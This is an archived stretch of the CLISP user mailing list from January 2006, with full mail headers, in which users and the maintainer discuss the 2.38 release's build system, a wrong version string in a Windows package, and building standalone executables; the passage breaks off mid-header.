1F1TtQ-0005x4-3I for clisp-list@lists.sourceforge.net; Tue, 24 Jan 2006 11:31:52 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1TtF-0008Hq-I4 for clisp-list@lists.sourceforge.net; Tue, 24 Jan 2006 11:31:48 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0OJV3tV027901; Tue, 24 Jan 2006 14:31:04 -0500 (EST) To: clisp-list@lists.sourceforge.net, Claudio Fontana Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20060124191603.89681.qmail@web26003.mail.ukl.yahoo.com> (Claudio Fontana's message of "Tue, 24 Jan 2006 11:16:03 -0800 (PST)") References: <20060124191603.89681.qmail@web26003.mail.ukl.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Claudio Fontana Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp 2.38 release, question about build system Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 24 11:32:16 2006 X-Original-Date: Tue, 24 Jan 2006 14:30:21 -0500 > * Claudio Fontana [2006-01-24 11:16:03 -0800]: > > ./configure [options] > make > make install [DESTDIR=/my/destdir] you can do DESTDIR=/my/destdir ./configure --install -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.savegushkatif.org http://www.mideasttruth.com http://www.memri.org http://www.openvotingconsortium.org http://www.iris.org.il Binaries die but source code lives forever. From sick_soul@yahoo.it Tue Jan 24 12:23:41 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1UhZ-0002sf-No for clisp-list@lists.sourceforge.net; Tue, 24 Jan 2006 12:23:41 -0800 Received: from web26008.mail.ukl.yahoo.com ([217.12.10.219]) by mail.sourceforge.net with smtp (Exim 4.44) id 1F1UhX-0005VT-P0 for clisp-list@lists.sourceforge.net; Tue, 24 Jan 2006 12:23:41 -0800 Received: (qmail 54002 invoked by uid 60001); 24 Jan 2006 20:23:38 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.it; h=Message-ID:Received:Date:From:Subject:To:Cc:In-Reply-To:MIME-Version:Content-Type; b=0j1Y+oVxunHfmOB12ym8l1YyluTMofl9P42CO156LmS8lef287rK8gAJ3CZB/nyLn+FiaOUWBizwTP0GbhUfCGrQfbMocmj9R8Kaq9jUcHaAWSJcPn5CKvonTYlKhUMbpBH617VXNWwC7cW3ZrdCaJ5tr4/JMqbARAp0aRQgY0k= ; Message-ID: <20060124202338.54000.qmail@web26008.mail.ukl.yahoo.com> Received: from [87.0.110.47] by web26008.mail.ukl.yahoo.com via HTTP; Tue, 24 Jan 2006 12:23:38 PST From: Claudio Fontana To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net, haible@gnu.org In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp 2.38 release, question about build system Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 24 12:24:08 2006 X-Original-Date: Tue, 24 Jan 2006 12:23:38 -0800 (PST) --- Sam Steingold ha scritto: > > * Claudio Fontana [2006-01-24 > 11:16:03 -0800]: > > > > ./configure [options] > > make > > make install [DESTDIR=/my/destdir] > > you can do > DESTDIR=/my/destdir ./configure --install Yes I can do it. However, a program can not standardize on it. I am building a program that tries to standardize on GNU build tools (autotools-generated scripts and Makefiles), secondarily supporting scripts that at least follow the ./configure, make, make install pattern. This avoids writing n rules for n packages to install. In your case, it seems that some functionality of configure (makemake generation and launch) could be automated, in order to produce a Makefile as a result of configure invocation. Also, the generated Makefile could be tweaked to support the install target. Tell me if you're interested, so I can start working on a minimal patch. If you're not, well there's nothing I can really do in this case :) Thanks, Claudio ___________________________________ Yahoo! Mail: gratis 1GB per i messaggi e allegati da 10MB http://mail.yahoo.it From marko.kocic@gmail.com Tue Jan 24 13:29:51 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1VjZ-00086W-QJ for clisp-list@lists.sourceforge.net; Tue, 24 Jan 2006 13:29:49 -0800 Received: from zproxy.gmail.com ([64.233.162.198]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1VjY-0000LX-K8 for clisp-list@lists.sourceforge.net; Tue, 24 Jan 2006 13:29:49 -0800 Received: by zproxy.gmail.com with SMTP id z3so1230668nzf for ; Tue, 24 Jan 2006 13:29:45 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=t96fRBtyiRU9afWpK2ymAdRipjuddKDBGH/qDNF8Wt8x4P+DD26hDKnAtFQmDGTJg4t35h9/HOdybIaLgo0tsqrkkVzXZszfwDWoNNGcfJDfpL1ZsvEqyhHhdpuKIH92UixIOkiBPLMfzaDwnTnL1vSWxCuxrXv3EOPf7XNhTgU= Received: by 10.36.154.20 with SMTP id b20mr5197086nze; Tue, 24 Jan 2006 13:29:45 -0800 (PST) Received: by 10.36.127.16 with HTTP; Tue, 24 Jan 2006 13:29:45 -0800 (PST) Message-ID: <9238e8de0601241329yda3c62p@mail.gmail.com> From: =?UTF-8?Q?Marko_Koci=C4=87?= To: list-clisp MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: base64 Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Wrong version number Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 24 13:30:09 2006 X-Original-Date: Tue, 24 Jan 2006 22:29:45 +0100 Y2xpc3AtMi4zOCBzaG93cyB3cm9uZyB2ZXJzaW9uICgyLjM3KQo= From sds@gnu.org Tue Jan 24 13:42:46 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1Vw5-0000mZ-Ep for clisp-list@lists.sourceforge.net; Tue, 24 Jan 2006 13:42:45 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1Vw1-0004HP-Uu for clisp-list@lists.sourceforge.net; Tue, 24 Jan 2006 13:42:45 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0OLgCB0003934; Tue, 24 Jan 2006 16:42:13 -0500 (EST) To: clisp-list@lists.sourceforge.net, Marko =?utf-8?Q?Koci=C4=87?= Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <9238e8de0601241329yda3c62p@mail.gmail.com> (Marko =?utf-8?Q?Koci=C4=87's?= message of "Tue, 24 Jan 2006 22:29:45 +0100") References: <9238e8de0601241329yda3c62p@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Marko =?utf-8?Q?Koci?= =?utf-8?Q?=C4=87?= Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 1.4 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.4 DOMAIN_RATIO BODY: Message body mentions many internet domains Subject: [clisp-list] Re: Wrong version number Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 24 13:49:00 2006 X-Original-Date: Tue, 24 Jan 2006 16:41:22 -0500 huh? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.honestreporting.com http://truepeace.org http://www.iris.org.il http://www.dhimmi.com http://www.mideasttruth.com http://www.jihadwatch.org Those who can laugh at themselves will never cease to be amused. From astebakov@yahoo.com Tue Jan 24 14:12:24 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1WOm-0002ub-LA for clisp-list@lists.sourceforge.net; Tue, 24 Jan 2006 14:12:24 -0800 Received: from web32003.mail.mud.yahoo.com ([68.142.207.100]) by mail.sourceforge.net with smtp (Exim 4.44) id 1F1WOl-0004SA-8A for clisp-list@lists.sourceforge.net; Tue, 24 Jan 2006 14:12:24 -0800 Received: (qmail 65627 invoked by uid 60001); 24 Jan 2006 22:12:17 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=rRsnOeyJhz7OnJtZupeoXOaOX72IOGnNp+7Wv4FOgJUNb7iwAW9vvy1BpCpTh1MYvI/qOlVk0yXAM/QNJncAwaa3YgNKpcyq0XEpYpCWXvQr95l9XdD9bjmdYLd6Lx3f2sIf7f99eZGHp2XWX1Sk+dk1lSlVRrAlgv2fO6pNA5w= ; Message-ID: <20060124221217.65625.qmail@web32003.mail.mud.yahoo.com> Received: from [209.50.91.70] by web32003.mail.mud.yahoo.com via HTTP; Tue, 24 Jan 2006 14:12:17 PST From: Andrew Stebakov To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] release 2.38 - standalone executable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 24 15:30:01 2006 X-Original-Date: Tue, 24 Jan 2006 14:12:17 -0800 (PST) Hi, How can I build the standalone executable with the new release? (I couldn't find it in impnotes). Thank you, Andrei __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From sds@gnu.org Tue Jan 24 15:32:33 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1XeL-0000OZ-CC for clisp-list@lists.sourceforge.net; Tue, 24 Jan 2006 15:32:33 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1XeI-0000Uw-Qx for clisp-list@lists.sourceforge.net; Tue, 24 Jan 2006 15:32:33 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0ONVtdZ008591; Tue, 24 Jan 2006 18:31:56 -0500 (EST) To: clisp-list@lists.sourceforge.net, Andrew Stebakov Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20060124221217.65625.qmail@web32003.mail.mud.yahoo.com> (Andrew Stebakov's message of "Tue, 24 Jan 2006 14:12:17 -0800 (PST)") References: <20060124221217.65625.qmail@web32003.mail.mud.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Andrew Stebakov Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: release 2.38 - standalone executable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 24 15:33:04 2006 X-Original-Date: Tue, 24 Jan 2006 18:31:13 -0500 > * Andrew Stebakov [2006-01-24 14:12:17 -0800]: > > How can I build the standalone executable with the new > release? > (I couldn't find it in impnotes). look for "executable" in http://www.gnu.org/software/clisp/impnotes/image.html -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.honestreporting.com http://truepeace.org http://www.mideasttruth.com http://www.iris.org.il http://www.memri.org http://pmw.org.il UNIX is as friendly to you as you are to it. Windows is hostile no matter what. From marko.kocic@gmail.com Wed Jan 25 01:37:10 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1h5R-0002Du-2U for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 01:37:09 -0800 Received: from zproxy.gmail.com ([64.233.162.196]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1h5Q-0007yO-PL for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 01:37:09 -0800 Received: by zproxy.gmail.com with SMTP id z3so52815nzf for ; Wed, 25 Jan 2006 01:37:06 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=J1wVsBUuQnaXevsPUngIefC4zCo/r8VJ6Na6MPnS586Enco5I48hlbcLP7bR2++e3PY6i9R7Aopr00NNfxQUApEuTsYEC5SotgKoJ0/CIEKXdd4jwcGBNxeogdcygNHcl2dIwaLqehopLBBSDqVVIgzzS9EF8VB/lpmGFSMSq5s= Received: by 10.36.75.7 with SMTP id x7mr382731nza; Wed, 25 Jan 2006 01:37:05 -0800 (PST) Received: by 10.36.127.16 with HTTP; Wed, 25 Jan 2006 01:37:05 -0800 (PST) Message-ID: <9238e8de0601250137y174b50a4l@mail.gmail.com> From: =?UTF-8?Q?Marko_Koci=C4=87?= To: list-clisp In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: base64 Content-Disposition: inline References: <9238e8de0601241329yda3c62p@mail.gmail.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Re: Wrong version number Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 01:38:01 2006 X-Original-Date: Wed, 25 Jan 2006 10:37:05 +0100 QzpcbGlzcFxhcHBcY2xpc3AtMi4zOD5jbGlzcCAtLXZlcnNpb24KR05VIENMSVNQIDIuMzcgKDIw MDYtMDEtMDIpIChidWlsdCBvbiB3aW5zdGVpbmdvbGRsYXAuYmx1ZWxuay5uZXQKWzEwLjQxLjUy LjE0M10pClNvZnR3YXJlOiBHTlUgQyAzLjQuNCAoY3lnbWluZyBzcGVjaWFsKSAoZ2RjIDAuMTIs IHVzaW5nIGRtZCAwLjEyNSkKCkM6XGxpc3BcYXBwXGNsaXNwLTIuMzg+Y2xpc3AgLW5vcmMKICBp IGkgaSBpIGkgaSBpICAgICAgIG9vb29vICAgIG8gICAgICAgIG9vb29vb28gICBvb29vbyAgIG9v b29vCiAgSSBJIEkgSSBJIEkgSSAgICAgIDggICAgIDggICA4ICAgICAgICAgICA4ICAgICA4ICAg ICBvICA4ICAgIDgKICBJICBcIGArJyAvICBJICAgICAgOCAgICAgICAgIDggICAgICAgICAgIDgg ICAgIDggICAgICAgIDggICAgOAogICBcICBgLSstJyAgLyAgICAgICA4ICAgICAgICAgOCAgICAg ICAgICAgOCAgICAgIG9vb29vICAgOG9vb28KICAgIGAtX198X18tJyAgICAgICAgOCAgICAgICAg IDggICAgICAgICAgIDggICAgICAgICAgIDggIDgKICAgICAgICB8ICAgICAgICAgICAgOCAgICAg byAgIDggICAgICAgICAgIDggICAgIG8gICAgIDggIDgKICAtLS0tLS0rLS0tLS0tICAgICAgIG9v b29vICAgIDhvb29vb28gIG9vbzhvb28gICBvb29vbyAgIDgKCkNvcHlyaWdodCAoYykgQnJ1bm8g SGFpYmxlLCBNaWNoYWVsIFN0b2xsIDE5OTIsIDE5OTMKQ29weXJpZ2h0IChjKSBCcnVubyBIYWli bGUsIE1hcmN1cyBEYW5pZWxzIDE5OTQtMTk5NwpDb3B5cmlnaHQgKGMpIEJydW5vIEhhaWJsZSwg UGllcnBhb2xvIEJlcm5hcmRpLCBTYW0gU3RlaW5nb2xkIDE5OTgKQ29weXJpZ2h0IChjKSBCcnVu byBIYWlibGUsIFNhbSBTdGVpbmdvbGQgMTk5OS0yMDAwCkNvcHlyaWdodCAoYykgU2FtIFN0ZWlu Z29sZCwgQnJ1bm8gSGFpYmxlIDIwMDEtMjAwNgoKWzFdPiAobGlzcC1pbXBsZW1lbnRhdGlvbi12 ZXJzaW9uKQoiMi4zNyAoMjAwNi0wMS0wMikgKGJ1aWx0IG9uIHdpbnN0ZWluZ29sZGxhcC5ibHVl bG5rLm5ldCBbMTAuNDEuNTIuMTQzXSkiClsyXT4K From Roman.Belenov@intel.com Wed Jan 25 06:04:24 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1lFt-0005JR-Db for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 06:04:13 -0800 Received: from fmr14.intel.com ([192.55.52.68] helo=fmsfmr002.fm.intel.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1lFr-0001IV-Vp for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 06:04:13 -0800 Received: from fmsfmr100.fm.intel.com (fmsfmr100.fm.intel.com [10.253.24.20]) by fmsfmr002.fm.intel.com (8.12.10/8.12.10/d: major-outer.mc,v 1.1 2004/09/17 17:50:56 root Exp $) with ESMTP id k0PE46Yo026704; Wed, 25 Jan 2006 14:04:06 GMT Received: from fmssmxvs041.fm.intel.com (fmssmxvs041.fm.intel.com [132.233.42.126]) by fmsfmr100.fm.intel.com (8.12.10/8.12.10/d: major-inner.mc,v 1.2 2004/09/17 18:05:01 root Exp $) with SMTP id k0PE44S3009735; Wed, 25 Jan 2006 14:04:05 GMT Received: (from NNWRBELENOV41 [10.125.17.115]) by fmssmxvs041.fm.intel.com (SAVSMTP 3.1.7.47) with SMTP id M2006012506040004838 ; Wed, 25 Jan 2006 06:04:02 -0800 To: clisp-list@lists.sourceforge.net Cc: Andrew Stebakov Subject: Re: [clisp-list] Re: release 2.38 - standalone executable References: <20060124221217.65625.qmail@web32003.mail.mud.yahoo.com> From: Roman Belenov In-Reply-To: (Sam Steingold's message of "Tue, 24 Jan 2006 18:31:13 -0500") Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/23.0.0 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.52 on 10.253.24.20 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 06:05:14 2006 X-Original-Date: Wed, 25 Jan 2006 17:03:57 +0300 Sam Steingold writes: > look for "executable" in > http://www.gnu.org/software/clisp/impnotes/image.html BTW Is there a way to disable normal command-line processing (so that all arguments are just stored in EXT:*ARGS*) ? Haven't seen it in documentation, though it makes sense for standalone executables. -- With regards, Roman. From sds@gnu.org Wed Jan 25 07:01:47 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1m9b-0001sj-31 for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 07:01:47 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1m9Y-0003mK-Ih for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 07:01:47 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0PF1GOb014706; Wed, 25 Jan 2006 10:01:17 -0500 (EST) To: clisp-list@lists.sourceforge.net, Roman Belenov Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Roman Belenov's message of "Wed, 25 Jan 2006 17:03:57 +0300") References: <20060124221217.65625.qmail@web32003.mail.mud.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Roman Belenov Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: release 2.38 - standalone executable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 07:02:04 2006 X-Original-Date: Wed, 25 Jan 2006 10:00:27 -0500 > * Roman Belenov [2006-01-25 17:03:57 +0300]: > > Sam Steingold writes: > >> look for "executable" in >> http://www.gnu.org/software/clisp/impnotes/image.html > > BTW Is there a way to disable normal command-line processing (so that > all arguments are just stored in EXT:*ARGS*) ? Haven't seen it in > documentation, though it makes sense for standalone executables. look for "init-function" in http://clisp.cons.org/impnotes/image.html really people, this is just _one_ small page - why not read it all? CLISP documentation is searchable using google, see http://clisp.cons.org trust me, it has _everything_, just _read_ it. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://pmw.org.il http://www.palestinefacts.org http://ffii.org http://www.honestreporting.com http://www.iris.org.il http://www.dhimmi.com "Complete Idiots Guide to Running LINUX Unleashed in a Nutshell for Dummies" From sds@gnu.org Wed Jan 25 07:30:12 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1mb6-0004GE-4c for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 07:30:12 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1maz-0008A1-0i for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 07:30:12 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0PFTXDI016345; Wed, 25 Jan 2006 10:29:34 -0500 (EST) To: clisp-list@lists.sourceforge.net, Marko =?utf-8?Q?Koci=C4=87?= Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <9238e8de0601250137y174b50a4l@mail.gmail.com> (Marko =?utf-8?Q?Koci=C4=87's?= message of "Wed, 25 Jan 2006 10:37:05 +0100") References: <9238e8de0601241329yda3c62p@mail.gmail.com> <9238e8de0601250137y174b50a4l@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Marko =?utf-8?Q?Koci?= =?utf-8?Q?=C4=87?= Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Wrong version number Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 07:31:03 2006 X-Original-Date: Wed, 25 Jan 2006 10:28:44 -0500 > * Marko Koci=C4=87 [2006-01-25 10:37:05 +0100]: > > C:\lisp\app\clisp-2.38>clisp --version > GNU CLISP 2.37 (2006-01-02) I uploaded a replacement package. thanks. --=20 Sam Steingold (http://www.podval.org/~sds) running w2k http://www.jihadwatch.org http://www.palestinefacts.org http://www.dhimmi.c= om http://www.camera.org http://www.savegushkatif.org http://truepeace.org There are many reasons not to use Lisp - but no good ones. From Roman.Belenov@intel.com Wed Jan 25 07:45:23 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1mpm-0005ZO-TC for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 07:45:22 -0800 Received: from fmr19.intel.com ([134.134.136.18] helo=orsfmr004.jf.intel.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1mpm-0004ar-Pb for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 07:45:23 -0800 Received: from orsfmr100.jf.intel.com (orsfmr100.jf.intel.com [10.7.209.16]) by orsfmr004.jf.intel.com (8.12.10/8.12.10/d: major-outer.mc,v 1.1 2004/09/17 17:50:56 root Exp $) with ESMTP id k0PFjH01015685 for ; Wed, 25 Jan 2006 15:45:17 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by orsfmr100.jf.intel.com (8.12.10/8.12.10/d: major-inner.mc,v 1.2 2004/09/17 18:05:01 root Exp $) with SMTP id k0PFjF4f008630 for ; Wed, 25 Jan 2006 15:45:17 GMT Received: (from NNWRBELENOV41 [10.125.17.115]) by orsmsxvs040.jf.intel.com (SAVSMTP 3.1.7.47) with SMTP id M2006012507451429352 for ; Wed, 25 Jan 2006 07:45:16 -0800 To: clisp-list@lists.sourceforge.net References: <20060124221217.65625.qmail@web32003.mail.mud.yahoo.com> From: Roman Belenov In-Reply-To: (Sam Steingold's message of "Wed, 25 Jan 2006 10:00:27 -0500") Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/23.0.0 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.52 on 